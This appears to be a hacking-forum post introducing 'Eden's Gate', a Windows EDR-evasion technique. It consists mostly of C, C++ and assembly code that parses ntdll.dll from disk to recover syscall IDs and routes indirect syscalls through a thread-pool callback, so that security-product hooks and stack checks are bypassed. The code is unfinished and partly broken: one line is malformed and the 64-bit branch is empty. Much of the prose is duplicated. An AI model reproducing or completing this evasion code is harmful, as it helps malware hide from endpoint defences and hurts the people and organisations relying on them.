Feb 9, 2024 04:12 PM
(This post was last modified: Feb 9, 2024 04:13 PM by an4l 1st.)
Hello, ladies and gentlemen.
![[Image: we4yqPS.jpeg]](https://i.imgur.com/we4yqPS.jpeg)
I must say that this technique kind of already exists out there.
But the whole package on doing it in a very cool way, I have not seen out there.
That been said, I named this technique Eden's Gate.
It consists of:
1. Getting the syscall id from a ntdll.dll loaded from disk;
2. Setting up a call to the Nt function jumping out a few bytes to prevent any inline hooking;
3. jmp to the Nt function from a callback from ntdll.dll.
When these 3 points are combined you have what I called Eden's Gate.
I must say that this is a project still under development. It is not fully functional yet and I will update this post as I finish it.
![[Image: IHtEIRql.jpg]](https://i.imgur.com/IHtEIRql.jpg)
So let's some code to find the syscall id from the disk:
Now the main.cpp:
Ok. Finally we need some assembly code to jmp to the Nt function:
If you take a closer look you will notice that the way I am writing the eden.c (the code that gets the syscall id from disk) indicates that I will make that code a position independent code in the future.
So far what this produces is:
![[Image: yZcGbbZ.png]](https://i.imgur.com/yZcGbbZ.png)
This is a pretty clean stack.
This way we prevent EDR's from checking out the call stack to prevent suspicious calls from private memory regions for example.
Normally EDR's will "hook" syscalls using NtSetInformationProcess (on user mode)
Something along those lines:
That and some ETW on kernel.
To be continue...
References:
https://0xdarkvortex.dev/hiding-in-plainsight/
https://winternl.com/detecting-manual-sy...user-mode/
![[Image: we4yqPS.jpeg]](https://i.imgur.com/we4yqPS.jpeg)
I must say that this technique kind of already exists out there.
But the whole package on doing it in a very cool way, I have not seen out there.
That been said, I named this technique Eden's Gate.
It consists of:
1. Getting the syscall id from a ntdll.dll loaded from disk;
2. Setting up a call to the Nt function jumping out a few bytes to prevent any inline hooking;
3. jmp to the Nt function from a callback from ntdll.dll.
When these 3 points are combined you have what I called Eden's Gate.
I must say that this is a project still under development. It is not fully functional yet and I will update this post as I finish it.
![[Image: IHtEIRql.jpg]](https://i.imgur.com/IHtEIRql.jpg)
So let's some code to find the syscall id from the disk:
Code
#include <Windows.h>
#include <stdio.h>
#include "eden.h"
void check_section(_GetModuleHandleA _getModuleHandleA, LPCSTR moduleName) {
HMODULE hModule = _getModuleHandleA(moduleName);
printf("hModule = %p\n", (void*)hModule);
}
#pragma optimize("", off)
void custom_memset(void* dst, BYTE value, unsigned int len) {
for (unsigned int i = 0; i < len; i++)
*(BYTE*)((SIZE_T)dst + i) = value;
}
void custom_memcpy(void* dst, void* src, unsigned int len) {
for (unsigned int i = 0; i < len; i++)
*(BYTE*)((SIZE_T)dst + i) = *(BYTE*)((SIZE_T)src + i);
}
#pragma optimize("", on)
DWORD GetSyscallIdFromDisk(LPCSTR lpFunctionName) {
BYTE ntdll[] = { '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x00 };
UINT dwSize = GetWindowsDirectoryA(NULL, 0);
char* lpBuffer = (char*)VirtualAlloc(NULL, dwSize + sizeof(ntdll), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpBuffer == NULL) {
printf("Error on VirtualAlloc: %d\n", GetLastError());
return INVALID_FILE_SIZE;
}
custom_memset(lpBuffer, 0x00, dwSize + sizeof(ntdll));
dwSize = GetWindowsDirectoryA(lpBuffer, dwSize);
if (dwSize == 0) {
printf("Error on GetSystemDirectoryA: %d\n", GetLastError());
VirtualFree(lpBuffer, 0, MEM_RELEASE);
return INVALID_FILE_SIZE;
}
custom_memcpy((char *)((SIZE_T)lpBuffer + dwSize), ntdll, sizeof(ntdll));
printf("lpBuffer = %s\n", lpBuffer);
HANDLE hFile = CreateFileA(lpBuffer, GENERIC_READ, FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Error on CreateFileA: %d\n", GetLastError());
VirtualFree(lpBuffer, 0, MEM_RELEASE);
return INVALID_FILE_SIZE;
}
VirtualFree(lpBuffer, 0, MEM_RELEASE);
printf("hFile = %p\n", (void*)hFile);
DWORD dwFileSize = GetFileSize(hFile, NULL);
if (dwFileSize == INVALID_FILE_SIZE) {
printf("Error on GetFileSize: %d\n", GetLastError());
CloseHandle(hFile);
return INVALID_FILE_SIZE;
}
printf("dwFileSize = %d\n", dwFileSize);
BYTE* lpFileBuffer = (BYTE*)VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (lpFileBuffer == NULL) {
printf("Error on VirtualAlloc: %d\n", GetLastError());
CloseHandle(hFile);
return INVALID_FILE_SIZE;
}
DWORD nBytes = 0;
if (!ReadFile(hFile, lpFileBuffer, dwFileSize, &nBytes, NULL)) {
printf("Error on ReadFile: %d\n", GetLastError());
VirtualFree(lpFileBuffer, 0, MEM_RELEASE);
CloseHandle(hFile);
return INVALID_FILE_SIZE;
}
CloseHandle(hFile);
PIMAGE_DOS_HEADER idh = (PIMAGE_DOS_HEADER)lpFileBuffer;
PIMAGE_NT_HEADERS inh = (PIMAGE_NT_HEADERS)((SIZE_T)idh + idh->e_lfanew);
printf("idh->e_magic = %04x\n", idh->e_magic);
printf("inh->e_magic = %08x\n", inh->Signature);
DWORD export_directory_rva = inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
printf("export_directory_rva = %08x\n", export_directory_rva);
DWORD dwBaseOfCode = inh->OptionalHeader.BaseOfCode;
printf("inh->OptionalHeader.BaseOfCode = %08x\n", dwBaseOfCode);
int raw_rva_delta = 0;
for (int i = 0; i < inh->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER ish = (PIMAGE_SECTION_HEADER)((SIZE_T)idh + idh->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * IMAGE_SIZEOF_SECTION_HEADER));
/*
if (*(DWORD*)&ish->Name[1] == 0x74786574) {
// .text section
ish_text = ish;
break;
}
*/
if (
(export_directory_rva > ish->VirtualAddress) &&
(export_directory_rva < ish->VirtualAddress + ish->SizeOfRawData)
) {
raw_rva_delta = ish->VirtualAddress - ish->PointerToRawData;
break;
}
}
if (raw_rva_delta == 0) {
printf("Could not find the section where the export directory is\n");
VirtualFree(lpFileBuffer, 0, MEM_RELEASE);
(lpBuffer, 0, MEM_RELEASE);
return INVALID_FILE_SIZE;
}
// -- now it is time to find the exported functions...
// fix the rva for the export directory and parse the functions...
PIMAGE_EXPORT_DIRECTORY ied = (PIMAGE_EXPORT_DIRECTORY)((SIZE_T)lpFileBuffer + inh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress - raw_rva_delta);
printf("ied->Name = %s\n", (char*)((SIZE_T)lpFileBuffer + ied->Name - raw_rva_delta));
LPDWORD lpAddressOfNames = (LPDWORD)((SIZE_T)lpFileBuffer + ied->AddressOfNames - raw_rva_delta);
LPDWORD lpAddressOfFunctions = (LPDWORD)((SIZE_T)lpFileBuffer + ied->AddressOfFunctions - raw_rva_delta);
LPWORD lpAddressOfNameOrdinals = (LPWORD)((SIZE_T)lpFileBuffer + ied->AddressOfNameOrdinals - raw_rva_delta);
BYTE* lpDesiredFunction = (BYTE*)0;
for (DWORD i = 0; i < ied->NumberOfNames; i++) {
char* nameOfFunction = (char*)((SIZE_T)lpFileBuffer + lpAddressOfNames[i] - raw_rva_delta);
WORD ordinal = lpAddressOfNameOrdinals[i];
DWORD addressOfFunction = lpAddressOfFunctions[ordinal];
if (_strcmpi(lpFunctionName, nameOfFunction) == 0) {
printf("functionName = [%04x] %s (%08x) \n", ordinal + ied->Base, nameOfFunction, addressOfFunction);
lpDesiredFunction = (void*)((SIZE_T)lpFileBuffer + addressOfFunction - raw_rva_delta);
}
}
if (lpDesiredFunction == NULL) {
printf("Could not find the desired function\n");
VirtualFree(lpFileBuffer, 0, MEM_RELEASE);
return INVALID_FILE_SIZE;
}
for (int i = 0; i < 20; i++) {
printf("%02x ", lpDesiredFunction[i]);
if ((i + 1) % 0x10 == 0)
printf("\n");
}
printf("\n");
/*
At this point, the program has the address of the function from a fresh loaded ntdll from disk
With this address, it is possible to extract and return the syscall id
With the syscall id, it is possible to call TpWork callback and from the callback, setup the necessary code to run the syscall
And then, finally jmp to the ntdll!DesiredFunction + offset(edr!hook), the syscall will be called and the return will work like the return from the ntdll!DesiredFunction
*/
#ifdef _WIN64
// 64 bit code goes here...
#else
DWORD ret = *(DWORD*)((SIZE_T)lpDesiredFunction + 1);
#endif
VirtualFree(lpFileBuffer, 0, MEM_RELEASE);
return ret;
}Now the main.cpp:
Code
#include <Windows.h>
#include <stdio.h>
#include "eden.h"
/*
What is Eden's Gate?
- I stole the code and the idea. Now they are mine and can name them whatever I feel like;
- Eden's Gate is an implementation of "indirect syscall" on windows that uses TpWork callback to keep the stack clean;
- Eden's Gate is not Eden's Gate if you don't implement the full idea.
What is the full idea of Eden's Gate?
- The idea is to read the ntdll.dll from disk;
- Go to the .text section and find the original syscall id's for the function;
- This way even if some shit EDR hooks the ntdll in userland, the code finds its way to the code without triggering the damn software;
- After the syscall id was found, pick any syscall "template" from any nt function that makes any syscall (ZwAccessCheck, e.g.);
- Call the TpWork to setup the callback;
- On the call back, make all the necessary code to run your function (push everything to the stack, or move things to rcx, rdx, r8, r9, stack if on 64bit);
- Now it is time to execute partial instructions that would be executed by the ntdll code:
00007FFEEB223CE0 | 4C:8BD1 | mov r10,rcx |
00007FFEEB223CE3 | B8 00000000 | mov eax,0 |
00007FFEEB223CE8 | F60425 0803FE7F 01 | test byte ptr ds:[7FFE0308],1 |
00007FFEEB223CF0 | 75 03 | jne ntdll.7FFEEB223CF5 |
00007FFEEB223CF2 | 0F05 | syscall |
00007FFEEB223CF4 | C3 | ret |
00007FFEEB223CF5 | CD 2E | int 2E |
00007FFEEB223CF7 | C3 | ret |
- Yeah, the first argument goes to r10, this is on 64bit, later on I will check on wow64 and on 32 bit to make a compatible version;
- Then place the syscall id on eax;
- Now instead of calling the function, jmp to it, remembering the offset to skip the EDR hook, if any;
- It will be like if the callback was indeed the ntdll!CalledFunction and the stack will be crystal clear;
- Mostly the result from the syscall is never necessary, the effects often are seen on parameters passed.
- Finally, using the syscall
*/
extern "C" {
extern void check_section(_GetModuleHandleA _getModuleHandleA, LPCSTR moduleName);
extern DWORD GetSyscallIdFromDisk(LPCSTR lpFunctionName);
}
typedef NTSTATUS(NTAPI* TPALLOCWORK)(PTP_WORK* ptpWrk, PTP_WORK_CALLBACK pfnwkCallback, PVOID OptionalArg, PTP_CALLBACK_ENVIRON CallbackEnvironment);
typedef VOID(NTAPI* TPPOSTWORK)(PTP_WORK);
typedef VOID(NTAPI* TPRELEASEWORK)(PTP_WORK);
extern "C" {
VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);
VOID CALLBACK asm_WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work);
}
VOID CALLBACK WorkCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Context, PTP_WORK Work) {
printf("We are running the callback... Context = %p\n", Context);
}
#pragma optimize("", off)
int main() {
check_section(GetModuleHandleA, "ntdll.dll");
printf("syscall id for ZwAccessCheck = %08x\n", GetSyscallIdFromDisk("ZwAccessCheck"));
printf("syscall id for NtCreateThread = %08x\n", GetSyscallIdFromDisk("NtCreateThread"));
printf("syscall id for NtReadFile = %08x\n", GetSyscallIdFromDisk("NtReadFile"));
printf("syscall id for NtWriteFile = %08x\n", GetSyscallIdFromDisk("NtWriteFile"));
// there needs to be a proof of concept here that calls TpAllocWork and stuff..
HMODULE hNtDll = GetModuleHandleA("ntdll");
if (hNtDll == NULL) {
printf("Error on GetModuleHandleA: %d\n", GetLastError());
return -1;
}
TPALLOCWORK TpAllocWork = (TPALLOCWORK)GetProcAddress(hNtDll, "TpAllocWork");
if (TpAllocWork == NULL) {
printf("Error on GetProcAddress(TpAllocWork): %d\n", GetLastError());
return -1;
}
TPPOSTWORK TpPostWork = (TPPOSTWORK)GetProcAddress(hNtDll, "TpPostWork");
if (TpPostWork == NULL) {
printf("Error on GetProcAddress(TpPostWork): %d\n", GetLastError());
return -1;
}
TPRELEASEWORK TpReleaseWork = (TPRELEASEWORK)GetProcAddress(hNtDll, "TpReleaseWork");
if (TpReleaseWork == NULL) {
printf("Error on GetProcAddress(TpReleaseWork): %d\n", GetLastError());
return -1;
}
PTP_WORK pWork = NULL;
TpAllocWork(& pWork, asm_WorkCallback, (PVOID)GetProcAddress(hNtDll, "NtReadFile"), NULL);
TpPostWork(pWork);
TpReleaseWork(pWork);
WaitForSingleObject(GetCurrentProcess(), 1000);
char c = '0';
scanf_s("%c", &c, sizeof(char));
printf("%02x\n", (BYTE)c);
return 0;
}
#pragma optimize("", on)Ok. Finally we need some assembly code to jmp to the Nt function:
Code
.686P
EXTRN _WorkCallback@12:PROC
PUBLIC _asm_WorkCallback@12
_TEXT SEGMENT
_asm_WorkCallback@12 PROC
jmp dword ptr [esp+8]
ret
_asm_WorkCallback@12 ENDP
_TEXT ENDS
ENDIf you take a closer look you will notice that the way I am writing the eden.c (the code that gets the syscall id from disk) indicates that I will make that code a position independent code in the future.
So far what this produces is:
![[Image: yZcGbbZ.png]](https://i.imgur.com/yZcGbbZ.png)
This is a pretty clean stack.
This way we prevent EDR's from checking out the call stack to prevent suspicious calls from private memory regions for example.
Normally EDR's will "hook" syscalls using NtSetInformationProcess (on user mode)
Something along those lines:
Code
#define PROCESS_INFO_CLASS_INSTRUMENTATION 40
typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION
{
ULONG Version;
ULONG Reserved;
PVOID Callback;
} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION, * PPROCESS_INSTRUMENTATION_CALLBACK_INFORMATION;
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION nirvana;
nirvana.Callback = (PVOID)(ULONG_PTR)InstrumentationCallbackThunk;
nirvana.Reserved = 0; /* Always 0 */
nirvana.Version = 0; /* x64 -> 0 | x86 -> 1 */
NtSetInformationProcess(
GetCurrentProcess(),
(PROCESS_INFORMATION_CLASS)PROCESS_INFO_CLASS_INSTRUMENTATION,
&nirvana,
sizeof(nirvana));That and some ETW on kernel.
Quote: If an EDR checks the full stack of the NTAPI, it can easily identify that the return address eventually reaches back to the user allocated RX region. This means, a return address to ntdll.dll region, but stack originating from RX region is a 100% anomaly with zero chances of being a false positive. This is an easy win for EDRs who utilize ETW for syscall tracing in the kernel.
To be continue...
References:
https://0xdarkvortex.dev/hiding-in-plainsight/
https://winternl.com/detecting-manual-sy...user-mode/



![[Image: sAxXKbu.png]](https://i.imgur.com/sAxXKbu.png)
![[Image: rnQBIj9.png]](https://i.imgur.com/rnQBIj9.png)
![[Image: Twwm4Hs.png]](https://i.imgur.com/Twwm4Hs.png)
![[Image: mtX1B51.png]](https://i.imgur.com/mtX1B51.png)
![[Image: ySfhL0k.png]](https://i.imgur.com/ySfhL0k.png)
![[Image: pOvRJLN.png]](https://i.imgur.com/pOvRJLN.png)
![[Image: SqJnGwP.png]](https://i.imgur.com/SqJnGwP.png)
![[Image: pUEF4h0.png]](https://i.imgur.com/pUEF4h0.png)
![[Image: vs89LsZ.jpeg]](https://i.imgur.com/vs89LsZ.jpeg)